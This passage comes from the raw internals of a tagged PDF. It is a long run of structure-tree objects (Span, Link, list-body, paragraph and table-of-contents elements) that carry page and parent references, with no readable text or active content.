0 R +/S /Span +/Type /StructElem +>> +endobj +1271 0 obj +<< +/K 69 +/P 4131 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1272 0 obj +<< +/K 70 +/P 1328 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1273 0 obj +<< +/K 71 +/P 4132 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1274 0 obj +<< +/K 72 +/P 1329 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1275 0 obj +<< +/K 73 +/P 4133 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1276 0 obj +<< +/K 74 +/P 1330 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1277 0 obj +<< +/K 75 +/P 4134 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1278 0 obj +<< +/K 76 +/P 1331 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1279 0 obj +<< +/K 77 +/P 4135 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1280 0 obj +<< +/K 78 +/P 1332 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1281 0 obj +<< +/K 79 +/P 4136 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1282 0 obj +<< +/K 80 +/P 1333 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1283 0 obj +<< +/K 81 +/P 4137 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1284 0 obj +<< +/K 82 +/P 1334 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1285 0 obj +<< +/K 83 +/P 4138 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1286 0 obj +<< +/K 84 +/P 1335 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1287 0 obj +<< +/K 85 +/P 4139 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1288 0 obj +<< +/K 86 +/P 1336 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1289 0 obj +<< +/K 87 +/P 4140 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1290 0 obj +<< +/K 88 +/P 1337 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1291 0 obj +<< +/K 89 +/P 4141 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1292 0 obj +<< +/K 90 +/P 1338 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1293 0 obj +<< +/K 91 +/P 4142 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1294 0 obj +<< +/K 92 +/P 1339 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1295 0 obj +<< +/K 93 +/P 4143 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1296 0 obj +<< +/K 94 +/P 1340 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1297 0 obj +<< +/K 95 +/P 4144 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1298 0 obj +<< +/K [4438 0 R 1204 0 R] +/P 4102 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1299 0 obj +<< +/K [4439 0 R 4440 0 R 1208 0 R] +/P 4103 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1300 0 obj +<< +/K [4441 0 R 4442 0 R 1212 0 R] +/P 4104 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1301 0 obj +<< +/K [4443 0 R 4444 0 R 1216 0 R] +/P 4105 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1302 0 obj +<< +/K [4445 0 R 4446 0 R 1218 0 R] +/P 4106 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1303 0 obj +<< +/K [4447 0 R 1222 0 R] +/P 4107 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1304 0 obj +<< +/K [4448 0 R 4449 0 R 1224 0 R] +/P 4108 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1305 0 obj +<< +/K [4450 0 R 4451 0 R 1226 0 R] +/P 4109 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1306 0 obj +<< +/K [4452 0 R 4453 0 R 1228 0 R] +/P 4110 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1307 0 obj +<< +/K [4454 0 R 4455 0 R 1230 0 R] +/P 4111 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1308 0 obj +<< +/K [4456 0 R 4457 0 R 1232 0 R] +/P 4112 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1309 0 obj +<< +/K [4458 0 R 4459 0 R 1234 0 R] +/P 4113 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1310 0 obj +<< +/K [4460 0 R 4461 0 R 1236 0 R] +/P 4114 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1311 0 obj +<< +/K [4462 0 R 4463 0 R 1238 0 R] +/P 4115 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1312 0 obj +<< +/K [4464 0 R 4465 0 R 1240 0 R] +/P 4116 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1313 0 obj +<< +/K [4466 0 R 4467 0 R 1242 0 R] +/P 4117 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1314 0 obj +<< +/K [4468 0 R 4469 0 R 1244 0 R] +/P 4118 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1315 0 obj +<< +/K [4470 0 R 4471 0 R 1246 0 R] +/P 4119 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1316 0 obj +<< +/K [4472 0 R 1248 0 R] +/P 4120 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1317 0 obj +<< +/K [4473 0 R 1250 0 R] +/P 4121 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1318 0 obj +<< +/K [4474 0 R 4475 0 R 1252 0 R] +/P 4122 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1319 0 obj +<< +/K [4476 0 R 4477 0 R 1254 0 R] +/P 4123 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1320 0 obj +<< +/K [4478 0 R 4479 0 R 1256 0 R] +/P 4124 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1321 0 obj +<< +/K [4480 0 R 4481 0 R 1258 0 R] +/P 4125 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1322 0 obj +<< +/K [4482 0 R 4483 0 R 1260 0 R] +/P 4126 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1323 0 obj +<< +/K [4484 0 R 4485 0 R 1262 0 R] +/P 4127 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1324 0 obj +<< +/K [4486 0 R 1264 0 R] +/P 4128 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1325 0 obj +<< +/K [4487 0 R 1266 0 R] +/P 4129 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1326 0 obj +<< +/K [4488 0 R 1268 0 R] +/P 4130 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1327 0 obj +<< +/K [4489 0 R 1270 0 R] +/P 4131 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1328 0 obj +<< +/K [4490 0 R 1272 0 R] +/P 4132 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1329 0 obj +<< +/K [4491 0 R 4492 0 R 1274 0 R] +/P 4133 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1330 0 obj +<< +/K [4493 0 R 1276 0 R] +/P 4134 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1331 0 obj +<< +/K [4494 0 R 1278 0 R] +/P 4135 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1332 0 obj +<< +/K [4495 0 R 1280 0 R] +/P 4136 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1333 0 obj +<< +/K [4496 0 R 1282 0 R] +/P 4137 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1334 0 obj +<< +/K [4497 0 R 4498 0 R 1284 0 R] +/P 4138 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1335 0 obj +<< +/K [4499 0 R 1286 0 R] +/P 4139 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1336 0 obj +<< +/K [4500 0 R 4501 0 R 1288 0 R] +/P 4140 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1337 0 obj +<< +/K [4502 0 R 1290 0 R] +/P 4141 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1338 0 obj +<< +/K [4503 0 R 1292 0 R] +/P 4142 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1339 0 obj +<< +/K [4504 0 R 1294 0 R] +/P 4143 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1340 0 obj +<< +/K [4505 0 R 1296 0 R] +/P 4144 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1341 0 obj +<< +/K [4506 0 R 1342 0 R] +/P 4145 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1342 0 obj +<< +/K 0 +/P 1341 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1343 0 obj +<< +/K 1 +/P 4145 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1344 0 obj +<< +/K 2 +/P 1426 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1345 0 obj +<< +/K 3 +/P 4146 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1346 0 obj +<< +/K 4 +/P 1427 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1347 0 obj +<< +/K 5 +/P 4147 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1348 0 obj +<< +/K 6 +/P 1428 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1349 0 obj +<< +/K 7 +/P 4148 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1350 0 obj +<< +/K 8 +/P 1429 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1351 0 obj +<< +/K 9 +/P 4149 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1352 0 obj +<< +/K 10 +/P 1430 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1353 0 obj +<< +/K 11 +/P 4150 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1354 0 obj +<< +/K 12 +/P 1431 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1355 0 obj +<< +/K 13 +/P 4151 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1356 0 obj +<< +/K 14 +/P 1432 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1357 0 obj +<< +/K 15 +/P 4152 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1358 0 obj +<< +/K 16 +/P 1433 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1359 0 obj +<< +/K 17 +/P 4153 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1360 0 obj +<< +/K 18 +/P 1434 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1361 0 obj +<< +/K 19 +/P 4154 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1362 0 obj +<< +/K 20 +/P 1435 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1363 0 obj +<< +/K 21 +/P 4155 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1364 0 obj +<< +/K 22 +/P 1436 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1365 0 obj +<< +/K 23 +/P 4156 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1366 0 obj +<< +/K 24 +/P 1437 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1367 0 obj +<< +/K 25 +/P 4157 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1368 0 obj +<< +/K 26 +/P 1438 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1369 0 obj +<< +/K 27 +/P 4158 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1370 0 obj +<< +/K 28 +/P 1439 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1371 0 obj +<< +/K 29 +/P 4159 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1372 0 obj +<< +/K 30 +/P 1440 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1373 0 obj +<< +/K 31 +/P 4160 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1374 0 obj +<< +/K 32 +/P 1441 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1375 0 obj +<< +/K 33 +/P 4161 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1376 0 obj +<< +/K 34 +/P 1442 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1377 0 obj +<< +/K 35 +/P 4162 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1378 0 obj +<< +/K 36 +/P 1443 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1379 0 obj +<< +/K 37 +/P 4163 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1380 0 obj +<< +/K 38 +/P 1444 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1381 0 obj +<< +/K 39 +/P 4164 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1382 0 obj +<< +/K 40 +/P 1445 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1383 0 obj +<< +/K 41 +/P 4165 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1384 0 obj +<< +/K 42 +/P 1446 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1385 0 obj +<< +/K 43 +/P 4166 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1386 0 obj +<< +/K 44 +/P 1447 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1387 0 obj +<< +/K 45 +/P 4167 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1388 0 obj +<< +/K 46 +/P 1448 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1389 0 obj +<< +/K 47 +/P 4168 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1390 0 obj +<< +/K 48 +/P 1449 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1391 0 obj +<< +/K 49 +/P 1449 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1392 0 obj +<< +/K 50 +/P 1449 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1393 0 obj +<< +/K 51 +/P 1449 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1394 0 obj +<< +/K 52 +/P 4169 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1395 0 obj +<< +/K 53 +/P 1450 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1396 0 obj +<< +/K 54 +/P 1450 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1397 0 obj +<< +/K 55 +/P 1450 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1398 0 obj +<< +/K 56 +/P 1450 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1399 0 obj +<< +/K 57 +/P 4170 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1400 0 obj +<< +/K 58 +/P 1451 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1401 0 obj +<< +/K 59 +/P 1451 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1402 0 obj +<< +/K 60 +/P 1451 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1403 0 obj +<< +/K 61 +/P 1451 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1404 0 obj +<< +/K 62 +/P 4171 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1405 0 obj +<< +/K 63 +/P 1452 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1406 0 obj +<< +/K 64 +/P 1452 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1407 0 obj +<< +/K 65 +/P 1452 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1408 0 obj +<< +/K 66 +/P 1452 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1409 0 obj +<< +/K 67 +/P 4172 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1410 0 obj +<< +/K 68 +/P 1453 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1411 0 obj +<< +/K 69 +/P 1453 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1412 0 obj +<< +/K 70 +/P 1453 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1413 0 obj +<< +/K 71 +/P 1453 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1414 0 obj +<< +/K 72 +/P 4173 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1415 0 obj +<< +/K 73 +/P 1454 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1416 0 obj +<< +/K 74 +/P 1454 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1417 0 obj +<< +/K 75 +/P 1454 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1418 0 obj +<< +/K 76 +/P 1454 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1419 0 obj +<< +/K 77 +/P 4174 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1420 0 obj +<< +/K 78 +/P 1455 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1421 0 obj +<< +/K 79 +/P 1455 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1422 0 obj +<< +/K 80 +/P 1455 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1423 0 obj +<< +/K 81 +/P 1455 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1424 0 obj +<< +/K 82 +/P 4175 0 R +/Pg 12 0 R +/S /Span +/Type /StructElem +>> +endobj +1425 0 obj +<< +/K [83] +/P 525 0 R +/Pg 12 0 R +/S /TOCI +/Type /StructElem +>> +endobj +1426 0 obj +<< +/K [4507 0 R 4508 0 R 1344 0 R] +/P 4146 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1427 0 obj +<< +/K [4509 0 R 1346 0 R] +/P 4147 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1428 0 obj +<< +/K [4510 0 R 1348 0 R] +/P 4148 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1429 0 obj +<< +/K [4511 0 R 4512 0 R 1350 0 R] +/P 4149 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1430 0 obj +<< +/K [4513 0 R 1352 0 R] +/P 4150 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1431 0 obj +<< +/K [4514 0 R 1354 0 R] +/P 4151 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1432 0 obj +<< +/K [4515 0 R 1356 0 R] +/P 4152 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1433 0 obj +<< +/K [4516 0 R 1358 0 R] +/P 4153 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1434 0 obj +<< +/K [4517 0 R 4518 0 R 1360 0 R] +/P 4154 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1435 0 obj +<< +/K [4519 0 R 1362 0 R] +/P 4155 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1436 0 obj +<< +/K [4520 0 R 4521 0 R 1364 0 R] +/P 4156 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1437 0 obj +<< +/K [4522 0 R 4523 0 R 1366 0 R] +/P 4157 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1438 0 obj +<< +/K [4524 0 R 4525 0 R 1368 0 R] +/P 4158 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1439 0 obj +<< +/K [4526 0 R 4527 0 R 1370 0 R] +/P 4159 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1440 0 obj +<< +/K [4528 0 R 1372 0 R] +/P 4160 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1441 0 obj +<< +/K [4529 0 R 1374 0 R] +/P 4161 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1442 0 obj +<< +/K [4530 0 R 1376 0 R] +/P 4162 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1443 0 obj +<< +/K [4531 0 R 4532 0 R 1378 0 R] +/P 4163 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1444 0 obj +<< +/K [4533 0 R 4534 0 R 1380 0 R] +/P 4164 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1445 0 obj +<< +/K [4535 0 R 1382 0 R] +/P 4165 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1446 0 obj +<< +/K [4536 0 R 4537 0 R 1384 0 R] +/P 4166 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1447 0 obj +<< +/K [4538 0 R 4539 0 R 1386 0 R] +/P 4167 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1448 0 obj +<< +/K [4540 0 R 4541 0 R 1388 0 R] +/P 4168 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1449 0 obj +<< +/K [4542 0 R 1390 0 R 1391 0 R 1392 0 R 1393 0 R] +/P 4169 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1450 0 obj +<< +/K [4543 0 R 1395 0 R 1396 0 R 1397 0 R 1398 0 R] +/P 4170 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1451 0 obj +<< +/K [4544 0 R 4545 0 R 1400 0 R 1401 0 R 1402 0 R 1403 0 R] +/P 4171 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1452 0 obj +<< +/K [4546 0 R 1405 0 R 1406 0 R 1407 0 R 1408 0 R] +/P 4172 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1453 0 obj +<< +/K [4547 0 R 4548 0 R 1410 0 R 1411 0 R 1412 0 R 1413 0 R] +/P 4173 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1454 0 obj +<< +/K [4549 0 R 4550 0 R 1415 0 R 1416 0 R 1417 0 R 1418 0 R] +/P 4174 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1455 0 obj +<< +/K [4551 0 R 1420 0 R 1421 0 R 1422 0 R 1423 0 R] +/P 4175 0 R +/Pg 12 0 R +/S /Link +/Type /StructElem +>> +endobj +1456 0 obj +<< +/K 0 +/P 527 0 R +/Pg 13 0 R +/S /Span +/Type /StructElem +>> +endobj +1457 0 obj +<< +/ActualText ( ) +/K [1] +/P 527 0 R +/Pg 13 0 R +/S /Span +/Type /StructElem +>> +endobj +1458 0 obj +<< +/K 2 +/P 527 0 R +/Pg 13 0 R +/S /Span +/Type /StructElem +>> +endobj +1459 0 obj +<< +/K 5 +/P 530 0 R +/Pg 13 0 R +/S /Span +/Type /StructElem +>> +endobj +1460 0 obj +<< +/K 6 +/P 1462 0 R +/Pg 13 0 R +/S /Span +/Type /StructElem +>> +endobj +1461 0 obj +<< +/K 7 +/P 530 0 R +/Pg 13 0 R +/S /Span +/Type /StructElem +>> +endobj +1462 0 obj +<< +/K [4552 0 R 1460 0 R] +/P 530 0 R +/Pg 13 0 R +/S /Link +/Type /StructElem +>> +endobj +1463 0 obj +<< +/K [2] +/P 4177 0 R +/Pg 14 0 R +/S /LBody +/Type /StructElem +>> +endobj +1464 0 obj +<< +/K [3] +/P 4178 0 R +/Pg 14 0 R +/S /LBody +/Type /StructElem +>> +endobj +1465 0 obj +<< +/K [4] +/P 4179 0 R +/Pg 14 0 R +/S /LBody +/Type /StructElem +>> +endobj +1466 0 obj +<< +/K [5] +/P 4180 0 R +/Pg 14 0 R +/S /LBody +/Type /StructElem +>> +endobj +1467 0 obj +<< +/K [6] +/P 4181 0 R +/Pg 14 0 R +/S /LBody +/Type /StructElem +>> +endobj +1468 0 obj +<< +/K [11] +/P 4183 0 R +/Pg 14 0 R +/S /LBody +/Type /StructElem +>> +endobj +1469 0 obj +<< +/K [12] +/P 4184 0 R +/Pg 14 0 R +/S /LBody +/Type /StructElem +>> +endobj +1470 0 obj +<< +/K [13] +/P 4185 0 R +/Pg 14 0 R +/S /LBody +/Type /StructElem +>> +endobj +1471 0 obj +<< +/K [14] +/P 4186 0 R +/Pg 14 0 R +/S /LBody +/Type /StructElem +>> +endobj +1472 0 obj +<< +/K 16 +/P 550 0 R +/Pg 14 0 R +/S /Span +/Type /StructElem +>> +endobj +1473 0 obj +<< +/K 17 +/P 1475 0 R +/Pg 14 0 R +/S /Span +/Type /StructElem +>> +endobj +1474 0 obj +<< +/K 18 +/P 550 0 R +/Pg 14 0 R +/S /Span +/Type /StructElem +>> +endobj +1475 0 obj +<< +/K [4553 0 R 1473 0 R] +/P 550 0 R +/Pg 14 0 R +/S /Link +/Type /StructElem +>> +endobj +1476 0 obj +<< +/K 8 +/P 560 0 R +/Pg 15 0 R +/S /Span +/Type /StructElem +>> +endobj +1477 0 obj +<< +/K 9 +/P 1520 0 R +/Pg 15 0 R +/S /Span +/Type /StructElem +>> +endobj +1478 0 obj +<< +/K 10 +/P 560 0 R +/Pg 15 0 R +/S /Span +/Type /StructElem +>> +endobj +1479 0 obj +<< +/K 15 +/P 565 0 R +/Pg 15 0 R +/S /Span +/Type /StructElem +>> +endobj +1480 0 obj +<< +/K 16 +/P 1521 0 R +/Pg 15 0 R +/S /Span +/Type /StructElem +>> +endobj +1481 0 obj +<< +/K 17 +/P 565 0 R +/Pg 15 0 R +/S /Span +/Type /StructElem +>> +endobj +1482 0 obj +<< +/K 18 +/P 1522 0 R +/Pg 15 0 R +/S /Span +/Type /StructElem +>> +endobj +1483 0 obj +<< +/K 19 +/P 565 0 R +/Pg 15 0 R +/S /Span +/Type /StructElem +>> +endobj +1484 0 obj +<< +/K [23 24] +/P 4554 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1485 0 obj +<< +/K [25 26] +/P 4555 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1486 0 obj +<< +/K [27 28] +/P 4556 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1487 0 obj +<< +/K [29 30] +/P 4557 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1488 0 obj +<< +/K [31] +/P 4558 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1489 0 obj +<< +/K [32] +/P 4559 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1490 0 obj +<< +/K [33] +/P 4560 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1491 0 obj +<< +/K [34] +/P 4561 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1492 0 obj +<< +/K [35] +/P 4562 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1493 0 obj +<< +/K [36] +/P 4563 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1494 0 obj +<< +/K [37] +/P 4564 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1495 0 obj +<< +/K [38] +/P 4565 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1496 0 obj +<< +/K [39] +/P 4566 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1497 0 obj +<< +/K [40] +/P 4567 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1498 0 obj +<< +/K 